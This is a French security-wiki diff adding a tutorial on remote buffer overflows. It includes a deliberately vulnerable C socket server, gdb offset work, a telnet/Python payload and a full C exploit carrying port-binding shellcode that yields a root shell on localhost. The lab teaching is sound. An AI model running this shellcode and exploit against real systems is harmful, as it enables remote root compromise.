Zenk - Security

Outils d'utilisateurs

Outils du Site

Piste: • xss • 29c3 • sql_injection
failles_app:bof

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

failles_app:bof [2017/02/17 14:35]
JohnRiddler 		failles_app:bof [2017/04/09 15:33] (Version actuelle)
Ligne 21: Ligne 21:
     * 6.1 Corruption de VPTR     * 6.1 Corruption de VPTR
     * 6.2 Corruption de VPTR - Shellcode     * 6.2 Corruption de VPTR - Shellcode
-  * 7. Monsieur, chez moi ça marche pas ! +  * 7. Remote buffer overflows 
-  * 8. Ressources+    * 7.1 Introduction aux remote BOF 
 +    * 7.2 Obtenir une shell 
 +  * 8. Monsieur, chez moi ça marche pas ! 
 +  * 9. Ressources
  
 ===== 1. Intel x86 ===== ===== 1. Intel x86 =====
Ligne 1436: Ligne 1439:
 </code> </code>
 We did it ! We did it !
-===== 7. Monsieur, chez moi ça marche pas ! =====+ 
 +===== 7. Remote buffer overflows ===== 
 + 
 +//**(ASLR désactivé)**//\\ 
 +Dans cette section, nous allons aborder l'exploitation à distance des buffer overflows. En effet, apprendre à exploiter un programme localement peut être très utile, mais l'attaque à distance a sûrement plus de chances d'arriver dans une situation réelle. Le principe de base n'est pas très différent de celui d'une exploitation en local à deux choses près : d'une part nous allons utiliser des sockets pour communiquer avec le serveur, et d'autre part nous n'avons pas d'accès physique à la machine, ce qui fait que nous n'allons pas appeler ''system("/bin/sh")'' de la même manière que nous le faisions jusqu'ici. 
 + 
 +__Socket (Wiki)__:\\ 
 +Il s’agit d’une interface logicielle avec les services du système d’exploitation, grâce à laquelle un développeur exploitera facilement et de manière uniforme les services d’un protocole réseau. Comme nous sommes ici en C, tout ce dont nous aurons besoin de situe dans ''netinet/in.h''. 
 + 
 +==== 7.1 Introduction aux remote BOF ==== 
 + 
 +Cette première démonstration va être très simple car nous allons simplement nous contenter d'imprimer un message de validation.  Pour effectuer l'attaque, nous allons lancer dans une première shell le programme ''server'', dont le code est donné ci dessous (le port choisi est 42742, et n'est évidemment pas une obligation) : 
 +<file C server.c> 
 +#include <stdio.h> 
 +#include <stdlib.h> 
 +#include <string.h> 
 +#include <netinet/in.h> 
 + 
 +#define BUFFER_SIZE 256 
 +#define MESSAGE_SIZE 141 
 + 
 +/** gcc -m32 -o server server.c -fno-stack-protector**/ 
 + 
 +typedef struct sockaddr SOCKADDR; 
 +typedef struct sockaddr_in SOCKADDR_IN; 
 + 
 +void run(int); 
 + 
 +int main(int argc, char **argv){ 
 + SOCKADDR_IN server, client; 
 + int socket_res, size_sockaddrin, accept_res, recv_res; 
 + 
 + socket_res = socket(AF_INET, SOCK_STREAM, 0); 
 + if(socket_res < 0){ 
 + printf("Error: unable to create the socket\n"); 
 + } 
 + 
 + server.sin_family = AF_INET; 
 + server.sin_addr.s_addr = INADDR_ANY; 
 + server.sin_port = htons(42742); 
 + 
 + if(bind(socket_res, (SOCKADDR *)&server, sizeof server) < 0){ 
 + printf("Error: unable to bind\n"); 
 + } 
 + 
 + listen(socket_res, 5); 
 + printf(" ====================== Listening ...  ======================\n"); 
 + size_sockaddrin = sizeof(SOCKADDR_IN); 
 + accept_res = accept(socket_res,  (SOCKADDR *)&client, (socklen_t *)&size_sockaddrin); 
 + if(accept_res < 0){ 
 + printf("Error: unable to accept incoming connection\n"); 
 + } 
 + 
 + printf(" ====================== Connected ... ======================\n"); 
 + run(accept_res); 
 + return 0; 
 +} 
 + 
 +void run(int accept_res){ 
 + char tweet[MESSAGE_SIZE]; 
 + char buffer[BUFFER_SIZE]; 
 + int data = recv(accept_res, buffer, BUFFER_SIZE, 0); 
 + if(data > 0){ 
 + buffer[data-1] = '\0'; 
 + strcpy(tweet, buffer); 
 + printf("Your tweet: %s\n", tweet); 
 + } 
 + else if(data == -1){ 
 + printf("Error: unable to receive\n"); 
 + } 
 + close(accept_res); 
 +} 
 + 
 +void printOK(){ 
 +        printf("OK\n"); 
 +} 
 +</file> 
 +Ce programme tout simple va écouter sur le port 42742 en attendant la connexion d'un client. Si un client se connecte et envoie une string, le programme va simplement la lui imprimer et clore la connexion. Nous ferons tourner le programme sur localhost, et parallèlement, nous jouerons le rôle de l'attaquant dans une seconde shell, côté client.\\ 
 +Ici, la faille est assez évidente : la fonction ''strcpy'' dans ''run'' va copier le contenu d'un buffer dont la capacité est de 256 bytes vers un buffer de 141 bytes. Ce buffer plus petit va donc déborder et nous allons pouvoir écraser l'adresse de retour de la fonction et rediriger le programme vers la fonction voulue (''printOK''). 
 + 
 +Premièrement, il faut déterminer l'adresse de retour et la taille de la string junk, alors pour cela, lançons GDB dans la shell serveur : 
 +<code> 
 +(gdb) print printOK 
 + $1 = {<text variable, no debug info>} 0x8048741 <printOK> 
 +</code> 
 +Ensuite, trouvons la taille de la string junk en observant le code de ''run'' où se situe la fonction vulnérable : 
 +<code> 
 +(gdb) disas run 
 +Dump of assembler code for function run: 
 +   …  
 +   0x080486fa <+60>: lea    -0x199(%ebp),%eax 
 +   0x08048700 <+66>: push   %eax 
 +   0x08048701 <+67>: lea    -0x99(%ebp),%eax 
 +   …   
 +End of assembler dump. 
 +</code> 
 +Aux lignes <+60> et <+67> nous voyons que les paramètres de la fonction ''strcpy'' sont situés à 256 bytes (''0x199 – 0x99 = 0x100 = 256'') l'un de l'autre. Le premier est à ''%ebp -0x99'', c'est-à-dire situé à 153 bytes de ''%ebp''.\\ 
 +Ainsi, la payload se construit avec : 
 +<code> 
 +153 bytes de junk + 
 +4 bytes de junk pour écraser le pointeur de base + 
 +adresse de retour (0x8048741) 
 +</code> 
 +Pour finir, dans la shell serveur lançons ''server'' sans debugger : 
 +<code> 
 +$ ./server 
 + ====================== Listening ...  ====================== 
 +</code> 
 +Puis dans la shell client, comme lors d'une exploitation locale, plaçons la payload dans le ''stdin'' avec  ''cat'', et utilisons un pipe pour l'envoyer via ''telnet'': 
 +<code> 
 +$ cat <(python -c "print 'A' * 157 +'\x41\x87\x04\x08'") | telnet 127.0.0.1 42742 
 + Trying 127.0.0.1... 
 + Connected to 127.0.0.1. 
 + Escape character is '^]'. 
 + Connection closed by foreign host 
 +</code> 
 +La connexion a été fermée, alors revenons dans la shell serveur pour observer ce qu'il s'est passé. On a maintenant : 
 +<code> 
 + …  
 + ====================== Connected ... ====================== 
 + Your tweet: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS�# 
 + OK 
 + Erreur de segmentation 
 +</code> 
 +Le message OK a bien été imprimé, nous sommes donc capables de contrôler le haut de la pile ! 
 + 
 +==== 7.2 Obtenir une shell ==== 
 +Corrompre des données, c'est bien, obtenir une shell en root c'est mieux !\\ 
 +Pour cela, nous allons injecter dans notre payload un shellcode permettant d'obtenir cette shell. Toutefois, le shellcode utilisé pour une exploitation à distance ne peut pas être le même que lors d'une attaque en local. En effet, la shell ne serait pas utilisable car nous perdrions ses ''file descriptors''. Pour pallier à ce problème, nous allons utiliser un shellcode qui va attacher une shell sur un port auquel nous nous connecterons ensuite, ainsi nous pourrons avoir une shell interactive (//port binding shell//). 
 + 
 +Pour le serveur, le code ne change presque pas, si ce n'est que nous n'avons plus besoin de la fonction ''printOK'' que l'on peut alors enlever. En revanche, le programme doit être recompilé de la manière sivante sinon le shellcode ne pourrait pas être exécuté : 
 +<code> 
 +# gcc -m32 -o server server.c -fno-stack-protector -z execstack 
 +</code> 
 +et le bit suid a été activé : 
 +<code> 
 +# chmod +s server 
 +</code> 
 +Pour l'exploit, nous allons cette fois ci l'écrire en C au lieu de simplement le taper en ligne de commande. Le programme se contentera d'ouvrir une connexion et d'envoyer la payload.\\ 
 +Nous savons déjà grâce à l'exploit précédent qu'il faut 157 bytes avant d'écraser l'adresse de retour, sauf que cette fois-ci nous n'allons pas mettre n'importe quoi avant cette adresse. Comme nous utilisons un shellcode il est préférable de placer une NOP sled devant afin d'éviter les problèmes de décalages d'adresses. 
 + 
 +Pour la payload, nous avons donc logiquement : 
 +<code> 
 +NOP sled + 
 +shellcode + 
 +adresse de retour 
 +</code> 
 +Le shellcode que nous allons utiliser est celui attribué à Bighawk (78 bytes) permettant de binder une shell sur le port 26112  : 
 +<code> 
 +\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50 
 +\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f 
 +\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80 
 +</code> 
 +En sachant que la NOP sled et le shellcode doivent être contenus dans 157 bytes, nous avons donc une NOP sled de 157 – 78 = 79 bytes, ce qui est assez confortable. 
 + 
 +Pour déterminer l'adresse de retour, nous allons devoir déterminer où commence le buffer, alors lançons GDB et plaçons un breakpoint juste après ''strcpy'' (dans la shell serveur) : 
 +<code> 
 +$ gdb ./server 
 + …  
 +(gdb) disas run 
 + Dump of assembler code for function run: 
 +      …  
 +      0x080486fa <+74>: call   0x8048420 <strcpy@plt> 
 +      0x080486ff <+79>: add    $0x10,%esp 
 +    … 
 + End of assembler dump. 
 +(gdb) break *0x080486ff 
 + Breakpoint 1 at 0x80486ff 
 +(gdb) run 
 + Starting program: /home/enzo/Documents/BOF/stack_BOF/server  
 + ====================== Listening ...  ====================== 
 +</code> 
 +Puis dans la shell client envoyons un message inoffensif : 
 +<code> 
 +$ cat <(python -c "print 'A' * 16")|telnet 127.0.0.1 42742 
 + Trying 127.0.0.1... 
 + Connected to 127.0.0.1. 
 + Escape character is '^]'. 
 + Connection closed by foreign host. 
 +</code> 
 +Ensuite, allons regarder dans la shell serveur où se situe le buffer. GDB doit normalement être au niveau du breakpoint : 
 +<code> 
 +(gdb) x/24x $esp 
 + 0xffffd1d0:0xffffd2ef 0xffffd1ef 0x00000100 0x00000000 
 + 0xffffd1e0:0xf15ae9b5 0x078ad74d 0xf7e0dec8 0x41ff8280 
 + 0xffffd1f0:0x41414141 0x41414141 0x41414141 0x0d414141 
 + 0xffffd200:0x00000000 0x00000010 0x00000001 0xf7fb3000 
 + 0xffffd210:0x00000000 0x00000000 0x00000001 0x00000790 
 + 0xffffd220:0xf7fd9b58 0xf7fd9860 0x080482dd 0xf7e17438 
 +</code> 
 +Nous voyons que le début du buffer avec les 41 est aux alentours de ''0xffffd1f0''. Comme la NOP sled a une taille de 79 bytes, ajoutons environ 40 pour obtenir une adresse de retour satisfaisante. Pour l'exemple, nous prendrons ''**0xffffd250**''. 
 + 
 +Ainsi, notre exploit en C commence ainsi : 
 +<file C exploit.c> 
 +#include <stdio.h> 
 +#include <stdlib.h> 
 +#include <string.h> 
 +#include <netinet/in.h> 
 + 
 +#define OFFSET 157 
 +#define SHELLCODE_SIZE 78 
 +typedef struct sockaddr_in SOCKADDR_IN; 
 +typedef struct sockaddr SOCKADDR; 
 + 
 +const char shellcode[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x50\xd2\xff\xff"; 
 + 
 +int main(int argc, char **argv){} 
 +</file> 
 +Nous déclarons donc quelques constantes, puis nous ajoutons le shellcode en le concaténant avec l'adresse de retour.\\ 
 +Ensuite, dans la méthode ''main'', nous allons commencer par déclarer les variables locales et ajouter la NOP sled au début de la payload : 
 +<file C exploit.c> 
 +char payload[OFFSET + 5]; //+4 pour l'adresse + null byte 
 +int socket_res, send_res; //retours des fonctions socket et send 
 +SOCKADDR_IN server; 
 + 
 +memset(payload, 0x90, OFFSET-SHELLCODE_SIZE); 
 +memcpy(payload + OFFSET-SHELLCODE_SIZE, shellcode, strlen(shellcode)); 
 +</file> 
 +La méthode ''memset'' nous permet de placer ''OFFSET – SHELLCODE_SIZE = 157 – 78 = 79'' caractères ''\x90'' au début de la payload. Puis, ''memcpy'' nous permet de placer le shellcode à la fin de la NOP sled. Ces deux méthodes sont similaires : la première nous permet de copier le même caractère plusieurs fois alors que la seconde copie une string.\\ 
 +Ensuite, initialisons le socket: 
 +<file C exploit.c> 
 +socket_res = socket(AF_INET, SOCK_STREAM, 0); 
 +if(socket_res < 0){ 
 + printf("Can't create socket\n"); 
 + return -1; 
 +} 
 + 
 +server.sin_family = AF_INET; 
 +server.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost 
 +server.sin_port = htons(42742); //port sur lequel tourne server 
 +</file> 
 +Puisque c'est un exploit, nous n'avons pas fait tous les tests normalement nécessaires lors d'un vrai échange client-serveur. Ne reste ensuite qu'à nous connecter et envoyer la payload : 
 +<file C exploit.c> 
 +if (connect(socket_res, (SOCKADDR*)&server, sizeof(server)) < 0){ 
 + printf("Can't connect\n"); 
 + return -2; 
 +} 
 + 
 +send_res = send(socket_res, payload, strlen(payload), 0); 
 +close(socket_res); 
 +return 0; 
 +</file> 
 +L'exploit est à présent terminé, nous pouvons le compiler dans la shell client : 
 +<code> 
 +$ gcc -o exploit exploit.c -m32 
 +</code> 
 +Ensuite, il ne reste plus qu'à lancer le programme ''server'' dans la shell serveur : 
 +<code> 
 +$ ./server 
 + ====================== Listening ...  ====================== 
 +</code> 
 +Puis à lancer le programme ''exploit'' dans la shell client qui va tout faire pour nous : 
 +<code> 
 +$ ./exploit 
 +</code> 
 +A présent, nous avons dans la shell serveur ceci avec le stdin ouvert : 
 +<code> 
 +…  
 +====================== Connected ... ====================== 
 +Your tweet: �������������������������������������������������������������������������������1���SCSj#���fRP̀CfS��j#QP��RP�f̀���#�f̀C�f̀�ٓ�?̀Iy�Rhn/shh//bi��RS��� 
 +      P�������� 
 + 
 +</code> 
 +Nous n'avons plus qu'à revenir dans la shell client et à nous connecter sur le port 26112 sur lequel doit être bindée la shell : 
 +<code> 
 +$ telnet 127.0.0.1 26112 
 + Trying 127.0.0.1... 
 + Connected to 127.0.0.1. 
 + Escape character is '^]'. 
 + whoami; 
 +root 
 +: not found: 
 +</code> 
 +(Ne pas oublier le point-virgule à la fin des commandes) 
 + 
 +Et voila ! 
 + 
 +===== 8. Monsieur, chez moi ça marche pas ! =====
  
 Si vous testez ces techniques sur d'autres programmes, il est effectivement possible que l'attaque ne marche pas et qu'une erreur de segmentation persiste. Dans ce cas, voici quelques conseils : Si vous testez ces techniques sur d'autres programmes, il est effectivement possible que l'attaque ne marche pas et qu'une erreur de segmentation persiste. Dans ce cas, voici quelques conseils :
Ligne 1444: Ligne 1724:
   * n'oubliez pas le tiret avant le pipe de séparation des commandes, il permet de garder le standard input ouvert, sinon la shell se fermerait instantanément.   * n'oubliez pas le tiret avant le pipe de séparation des commandes, il permet de garder le standard input ouvert, sinon la shell se fermerait instantanément.
  
-===== 8. Ressources =====+===== 9. Ressources =====
 Ressources principales :\\ Ressources principales :\\
 Exploitation avancée de buffer overflow : https://lasec.epfl.ch/~oechslin/advbof.pdf \\ Exploitation avancée de buffer overflow : https://lasec.epfl.ch/~oechslin/advbof.pdf \\
Ligne 1453: Ligne 1733:
 Integer overflow : http://phrack.org/issues/60/10.html \\ Integer overflow : http://phrack.org/issues/60/10.html \\
 limits.h : http://www.scs.stanford.edu/histar/src/pkg/uclibc/include/limits.h \\ limits.h : http://www.scs.stanford.edu/histar/src/pkg/uclibc/include/limits.h \\
-C++ vtables : http://phrack.org/issues/56/8.html+C++ vtables : http://phrack.org/issues/56/8.html\\ 
 +Port binding shell :https://www.exploit-db.com/papers/143/
failles_app/bof.1487338537.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)

Outils de la Page

Sauf mention contraire, le contenu de ce wiki est placé sous la licence suivante : CC Attribution-Share Alike 3.0 Unported
CC Attribution-Share Alike 3.0 Unported Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki